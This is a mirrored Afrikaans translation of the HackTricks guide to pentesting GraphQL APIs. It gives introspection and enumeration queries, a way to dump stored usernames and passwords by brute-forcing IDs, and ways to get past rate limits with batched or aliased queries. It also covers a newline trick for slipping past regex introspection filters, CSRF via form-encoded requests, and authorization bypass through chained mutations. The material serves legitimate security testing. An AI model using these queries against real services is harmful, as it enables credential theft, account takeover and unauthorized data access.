Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-23 05:03:35 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/network-services-pentesting/pentesting-web/graphql.md
Translator workflow 9f40607d8c Translated to Afrikaans
2024-02-11 02:07:06 +00:00

27 KiB
Raw Blame History

GraphQL

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Inleiding

GraphQL word beklemtoon as 'n doeltreffende alternatief vir REST API, wat 'n vereenvoudigde benadering bied vir die opvraag van data vanaf die agterkant. In teenstelling met REST, wat dikwels verskeie versoekings oor verskillende eindpunte vereis om data te versamel, maak GraphQL dit moontlik om alle benodigde inligting deur 'n enkele versoek te haal. Hierdie stroomlynproses bied aansienlike voordele vir ontwikkelaars deur die ingewikkeldheid van hul data-opvraagprosesse te verminder.

GraphQL en Sekuriteit

Met die opkoms van nuwe tegnologieë, insluitend GraphQL, ontstaan ook nuwe sekuriteitskwesbaarhede. 'n Belangrike punt om op te let is dat GraphQL nie outomaties outentiseringsmeganismes insluit nie. Dit is die verantwoordelikheid van ontwikkelaars om sulke sekuriteitsmaatreëls te implementeer. Sonder behoorlike outentisering kan GraphQL-eindpunte sensitiewe inligting aan ongeoutentiseerde gebruikers blootstel, wat 'n aansienlike sekuriteitsrisiko inhou.

Gids vir Brute Force-aanvalle en GraphQL

Om blootgestelde GraphQL-instanties te identifiseer, word die insluiting van spesifieke paaie in brute force-aanvalle aanbeveel. Hierdie paaie is:

  • /graphql
  • /graphiql
  • /graphql.php
  • /graphql/console
  • /api
  • /api/graphql
  • /graphql/api
  • /graphql/graphql

Die identifisering van oop GraphQL-instanties maak dit moontlik om ondersteunde navrae te ondersoek. Dit is noodsaaklik om die data wat toeganklik is deur die eindpunt te verstaan. GraphQL se introspeksiestelsel fasiliteer dit deur die navrae wat 'n skema ondersteun, in detail te beskryf. Vir meer inligting hieroor, verwys na die GraphQL-dokumentasie oor introspeksie: GraphQL: A query language for APIs.

Vingerafdruk

Die instrument graphw00f is in staat om te bepaal watter GraphQL-enjin in 'n bediener gebruik word en druk dan nuttige inligting vir die sekuriteitsouditeur af.

Universele navrae

Om te bepaal of 'n URL 'n GraphQL-diens is, kan 'n universele navraag, query{__typename}, gestuur word. As die respons {"data": {"__typename": "Query"}} insluit, bevestig dit dat die URL 'n GraphQL-eindpunt huisves. Hierdie metode maak gebruik van GraphQL se __typename-veld, wat die tipe van die ondervraagde objek onthul.

query{__typename}

Basiese Enumerasie

Graphql ondersteun gewoonlik GET, POST (x-www-form-urlencoded) en POST(json). Alhoewel dit vir sekuriteit aanbeveel word om slegs json toe te laat om CSRF-aanvalle te voorkom.

Introspeksie

Om introspeksie te gebruik om skemasinligting te ontdek, ondersoek die __schema veld. Hierdie veld is beskikbaar op die wortel tipe van alle navrae.

query={__schema{types{name,fields{name}}}}

Met hierdie navraag sal jy die naam van al die tipes wat gebruik word, vind:

{% code overflow="wrap" %}

query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}

{% endcode %}

Met hierdie navraag kan jy al die tipes, hul velde en hul argumente (en die tipe van die argumente) onttrek. Dit sal baie nuttig wees om te weet hoe om die databasis te ondervra.

Foute

Dit is interessant om te weet of die foute gaan verskyn aangesien dit nuttige inligting kan verskaf.

?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}

Bepaal Databasis Skema deur Introspeksie

{% hint style="info" %} As introspeksie geaktiveer is, maar die bogenoemde navraag nie uitgevoer word nie, probeer om die onOperation, onFragment, en onField riglyne uit die navraagstruktuur te verwyder. {% endhint %}

#Full introspection query

query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
onOperation  #Often needs to be deleted to run query
onFragment   #Often needs to be deleted to run query
onField      #Often needs to be deleted to run query
}
}
}

fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}

fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}

fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}

Inline introspeksie navraag:

/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}

Die laaste reël kode is 'n graphql-navraag wat alle meta-inligting van die graphql sal dump (voorwerpe name, parameters, tipes...)

As introspeksie geaktiveer is, kan jy GraphQL Voyager gebruik om in 'n GUI al die opsies te sien.

Navraag

Nou dat ons weet watter soort inligting binne die databasis gestoor word, laat ons probeer om sekere waardes te onttrek.

In die introspeksie kan jy vind watter voorwerp jy direk kan navraag doen (omdat jy nie 'n voorwerp kan navraag doen net omdat dit bestaan nie). In die volgende prentjie kan jy sien dat die "queryType" "Query" genoem word en dat een van die velde van die "Query" voorwerp "flags" is, wat ook 'n tipe voorwerp is. Jy kan dus die vlag-voorwerp navraag doen.

Let daarop dat die tipe van die navraag "flags" "Flags" is, en hierdie voorwerp word as volg gedefinieer:

Jy kan sien dat die "Flags" voorwerpe saamgestel is uit naam en waarde. Jy kan dus al die name en waardes van die vlae kry met die navraag:

query={flags{name, value}}

Let wel dat as die objek om te ondervra 'n primitiewe tipe soos string is, soos in die volgende voorbeeld

Jy kan dit net ondervra met:

query={hiddenFlags}

In 'n ander voorbeeld waar daar 2 voorwerpe binne die "Query" tipe voorwerp was: "user" en "users". As hierdie voorwerpe nie enige argument nodig het om te soek nie, kan jy alle inligting van hulle kry deur net vir die data te vra wat jy wil hê. In hierdie voorbeeld van die internet kan jy die gestoorde gebruikersname en wagwoorde onttrek:

Maar in hierdie voorbeeld kry jy 'n fout as jy dit probeer doen:

Dit lyk asof dit op een of ander manier sal soek deur die "uid" argument van die tipe Int te gebruik. In elk geval het ons alreeds geweet dat in die Basiese Enumerasie afdeling 'n navraag voorgestel is wat ons al die nodige inligting gewys het: query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}

As jy die verskafte prentjie lees wanneer ek daardie navraag uitvoer, sal jy sien dat "user" die arg "uid" van die tipe Int gehad het.

Dus, deur 'n ligte uid bruteforce uit te voer, het ek gevind dat in uid=1 'n gebruikersnaam en 'n wagwoord opgehaal is:
query={user(uid:1){user,password}}

Let daarop dat ek ontdek het dat ek vir die parameters "user" en "password" kon vra omdat as ek probeer soek vir iets wat nie bestaan nie (query={user(uid:1){noExists}}) kry ek hierdie fout:

En tydens die enumerasie fase het ek ontdek dat die "dbuser" voorwerp as velde "user" en "password het.

Navraag string dump truuk (dankie aan @BinaryShadow_)

As jy kan soek volgens 'n string tipe, soos: query={theusers(description: ""){username,password}} en jy soek vir 'n leë string, sal dit alle data dump. (Let wel, hierdie voorbeeld het niks te doen met die voorbeeld van die tutoriale nie, vir hierdie voorbeeld aanvaar ons dat jy kan soek deur "theusers" te gebruik volgens 'n String veld genaamd "description").

Soek

In hierdie opset bevat 'n databasis persone en flieks. Persone word geïdentifiseer deur hul e-pos en naam; flieks deur hul naam en gradering. Persone kan vriende wees met mekaar en het ook flieks, wat verhoudings binne die databasis aandui.

Jy kan persone soek volgens die naam en hul e-posse kry:

{
searchPerson(name: "John Doe") {
email
}
}

Jy kan soek na persone volgens hul naam en hul geabonneerde flieks kry:

{
searchPerson(name: "John Doe") {
email
subscribedMovies {
edges {
node {
name
}
}
}
}
}

Merk op hoe dit aangedui word om die name van die subscribedMovies van die persoon te herwin.

Jy kan ook veral verskeie objekte gelyktydig soek. In hierdie geval word 'n soektog na 2 flieks gedoen:

{
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
name
}
}r

Of selfs verhoudings van verskeie verskillende voorwerpe deur gebruik te maak van aliase:

{
johnsMovieList: searchPerson(name: "John Doe") {
subscribedMovies {
edges {
node {
name
}
}
}
}
davidsMovieList: searchPerson(name: "David Smith") {
subscribedMovies {
edges {
node {
name
}
}
}
}
}

Mutaties

Mutaties word gebruik om veranderinge aan die bedienerkant te maak.

In die introspeksie kan jy die verklaarde mutaties vind. In die volgende prentjie word die "MutationType" genoem "Mutation" en die "Mutation" objek bevat die name van die mutasies (soos "addPerson" in hierdie geval):

In hierdie opset bevat 'n databasis persone en flieks. Persone word geïdentifiseer deur hul e-pos en naam; flieks deur hul naam en gradering. Persone kan vriende wees met mekaar en het ook flieks, wat verhoudings binne die databasis aandui.

'n Mutasie om nuwe flieks in die databasis te skep kan soos die volgende wees (in hierdie voorbeeld word die mutasie "addMovie" genoem):

mutation {
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
movies {
name
rating
}
}
}

Let daarop hoe beide die waardes en tipe van data in die navraag aangedui word.

Daarbenewens ondersteun die databasis 'n mutasie-operasie, genaamd addPerson, wat die skepping van persone saam met hul assosiasies tot bestaande vriende en flieks moontlik maak. Dit is belangrik om daarop te let dat die vriende en flieks reeds in die databasis moet bestaan voordat hulle aan die nuutgeskepte persoon gekoppel kan word.

mutation {
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
person {
name
email
friends {
edges {
node {
name
email
}
}
}
subscribedMovies {
edges {
node {
name
rating
releaseYear
}
}
}
}
}
}

Batching brute-force in 1 API request

Hierdie inligting is geneem vanaf https://lab.wallarm.com/graphql-batching-attack/.
Verifikasie deur middel van GraphQL API met gelyktydige stuur van baie navrae met verskillende geloofsbriewe om dit te toets. Dit is 'n klassieke brute force-aanval, maar nou is dit moontlik om meer as een login/wagwoord-paar per HTTP-aanvraag te stuur as gevolg van die GraphQL-batchingfunksie. Hierdie benadering sal eksterne tariefmoniteringsprogramme laat dink dat alles reg is en dat daar geen brute force-bot is wat wagwoorde probeer raai nie.

Hieronder vind jy die eenvoudigste demonstrasie van 'n aansoekverifikasie-aanvraag, met 3 verskillende e-pos/wagwoord-pare op 'n slag. Dit is vanselfsprekend moontlik om duisende in een enkele aanvraag op dieselfde manier te stuur:

Soos ons kan sien uit die antwoordskermkiekie, het die eerste en derde aanvrae null teruggegee en die ooreenstemmende inligting in die error -gedeelte weerspieël. Die tweede mutasie het die korrekte verifikasie -data gehad en die antwoord het die korrekte verifikasie-sessie-token.

GraphQL Sonder Introspeksie

Meer en meer graphql-eindpunte deaktiveer introspeksie. Die foute wat graphql gooi wanneer 'n onverwagte versoek ontvang word, is egter genoeg vir gereedskap soos clairvoyance om die meeste van die skema te herskep.

Verder, die Burp Suite-uitbreiding GraphQuail observeer GraphQL API-aanvrae wat deur Burp gaan en bou 'n interne GraphQL skema met elke nuwe navraag wat dit sien. Dit kan ook die skema blootstel vir GraphiQL en Voyager. Die uitbreiding gee 'n vals antwoord wanneer dit 'n introspeksie-navraag ontvang. As gevolg hiervan wys GraphQuail alle navrae, argumente en velde wat beskikbaar is vir gebruik binne die API. Vir meer inligting kyk hierdie.

'n Goeie woordelys om GraphQL-entiteite te ontdek kan hier gevind word.

Bypassing GraphQL introspection defences

Bypassing GraphQL Introspection Defenses

Om beperkings op introspeksie-navrae in API's te omseil, is dit effektief om 'n spesiale karakter na die __schema sleutelwoord in te voeg. Hierdie metode maak gebruik van algemene ontwikkelaarsoorsigte in regex-patrone wat daarop gemik is om introspeksie te blokkeer deur te fokus op die __schema sleutelwoord. Deur karakters soos spasies, nuwe lyne en kommas by te voeg, wat GraphQL ignoreer maar moontlik nie in regex verreken word nie, kan beperkings omseil word. Byvoorbeeld, 'n introspeksie-navraag met 'n nuwe lyn na __schema mag sulke verdedigings omseil:

# Example with newline to bypass
{
"query": "query{__schema
{queryType{name}}}"
}

Indien onsuksesvol, oorweeg alternatiewe versoekmetodes, soos GET-versoeke of POST met x-www-form-urlencoded, aangesien beperkings moontlik slegs op POST-versoeke van toepassing kan wees.

Ontdekking van Blootgestelde GraphQL-Strukture

Wanneer introspeksie gedeaktiveer is, is dit 'n nuttige strategie om die bronkode van die webwerf te ondersoek vir vooraf gelaaide navrae in JavaScript-biblioteke. Hierdie navrae kan gevind word deur die Bronne-tabblad in die ontwikkelaarshulpmiddels te gebruik, wat insig gee in die API se skema en moontlik blootgestelde sensitiewe navrae onthul. Die opdragte om binne die ontwikkelaarshulpmiddels te soek, is:

Inspect/Sources/"Search all files"
file:* mutation
file:* query

CSRF in GraphQL

As jy nie weet wat CSRF is nie, lees die volgende bladsy:

{% content-ref url="../../pentesting-web/csrf-cross-site-request-forgery.md" %} csrf-cross-site-request-forgery.md {% endcontent-ref %}

Daar buite sal jy verskeie GraphQL-eindpunte vind wat gekonfigureer is sonder CSRF-tokens.

Let daarop dat GraphQL-versoeke gewoonlik gestuur word deur POST-versoeke te gebruik met die Content-Type application/json.

{"operationName":null,"variables":{},"query":"{\n  user {\n    firstName\n    __typename\n  }\n}\n"}

Echter, die meeste GraphQL eindpunte ondersteun ook form-urlencoded POST-aanvrae:

query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A

Daarom, aangesien CSRF-versoeke soos die vorige een sonder vooraanvraagversoeke gestuur word, is dit moontlik om veranderings in die GraphQL te maak deur 'n CSRF te misbruik.

Let egter daarop dat die nuwe verstekkoekiewaarde van die samesite-vlag van Chrome Lax is. Dit beteken dat die koekie slegs gestuur sal word van 'n derde party-web in GET-versoeke.

Let daarop dat dit gewoonlik moontlik is om die navraagversoek ook as 'n GET-versoek te stuur en die CSRF-token mag nie in 'n GET-versoek gevalideer word nie.

Daarbenewens kan dit moontlik wees om inhoud van die GraphQL-eindpunt te eksfiltreer deur die gebruikerslegitimasie te misbruik deur 'n XS-Soek aanval te misbruik.

Vir meer inligting, kyk na die oorspronklike berig hier.

Magtiging in GraphQL

Baie GraphQL-funksies wat op die eindpunt gedefinieer is, mag slegs die outentifikasie van die versoeker nagaan, maar nie magtiging nie.

Die wysiging van navraaginskrywingsveranderlikes kan lei tot die uitlek van sensitiewe rekeningbesonderhede leaked.

Mutering kan selfs lei tot rekeningsoorname deur te probeer om ander rekeningdata te wysig.

{
"operationName":"updateProfile",
"variables":{"username":INJECT,"data":INJECT},
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
}

Omseil outorisasie in GraphQL

Deur navrae aan mekaar te koppel kan 'n swak outentifikasie stelsel omseil word.

In die onderstaande voorbeeld kan jy sien dat die operasie "forgotPassword" is en dat dit slegs die forgotPassword navraag wat daarmee geassosieer word, moet uitvoer. Dit kan omseil word deur 'n navraag aan die einde toe te voeg, in hierdie geval voeg ons "register" en 'n gebruikersveranderlike by sodat die stelsel dit as 'n nuwe gebruiker kan registreer.

Omseilings van tariefgrense deur gebruik te maak van aliase in GraphQL

In GraphQL is aliase 'n kragtige funksie wat dit moontlik maak om eienskappe eksplisiet te benoem wanneer 'n API-versoek gedoen word. Hierdie vermoë is veral nuttig vir die herwinning van veralgehele van dieselfde tipe objek binne 'n enkele versoek. Aliase kan gebruik word om die beperking te oorkom wat voorkom dat GraphQL-objekte meerdere eienskappe met dieselfde naam het.

Vir 'n gedetailleerde begrip van GraphQL aliase, word die volgende bron aanbeveel: Aliase.

Terwyl die primêre doel van aliase is om die noodsaaklikheid van talle API-aanroepe te verminder, is daar 'n onbedoelde gebruik waar aliase gebruik kan word om brute force aanvalle op 'n GraphQL-eindpunt uit te voer. Dit is moontlik omdat sommige eindpunte beskerm word deur tariefgrense wat ontwerp is om brute force aanvalle te beperk deur die aantal HTTP-versoeke te beperk. Hierdie tariefgrense hou egter nie rekening met die aantal operasies binne elke versoek nie. Gegewe dat aliase die insluiting van verskeie navrae in 'n enkele HTTP-versoek toelaat, kan dit sulke tariefgrense omseil.

Oorweeg die onderstaande voorbeeld wat illustreer hoe gealiaseerde navrae gebruik kan word om die geldigheid van winkel afslagkodes te verifieer. Hierdie metode kan tariefgrense omseil deurdat dit verskeie navrae in een HTTP-versoek saamstel, wat moontlik maak om gelyktydig die geldigheid van verskeie afslagkodes te verifieer.

# Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount($code: Int) {
isvalidDiscount(code:$code){
valid
}
isValidDiscount2:isValidDiscount(code:$code){
valid
}
isValidDiscount3:isValidDiscount(code:$code){
valid
}
}

Gereedskap

Kwesbaarheidsskanners

Kliënte

Outomatiese Toetse

{% embed url="https://graphql-dashboard.herokuapp.com/" %}

Verwysings

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun: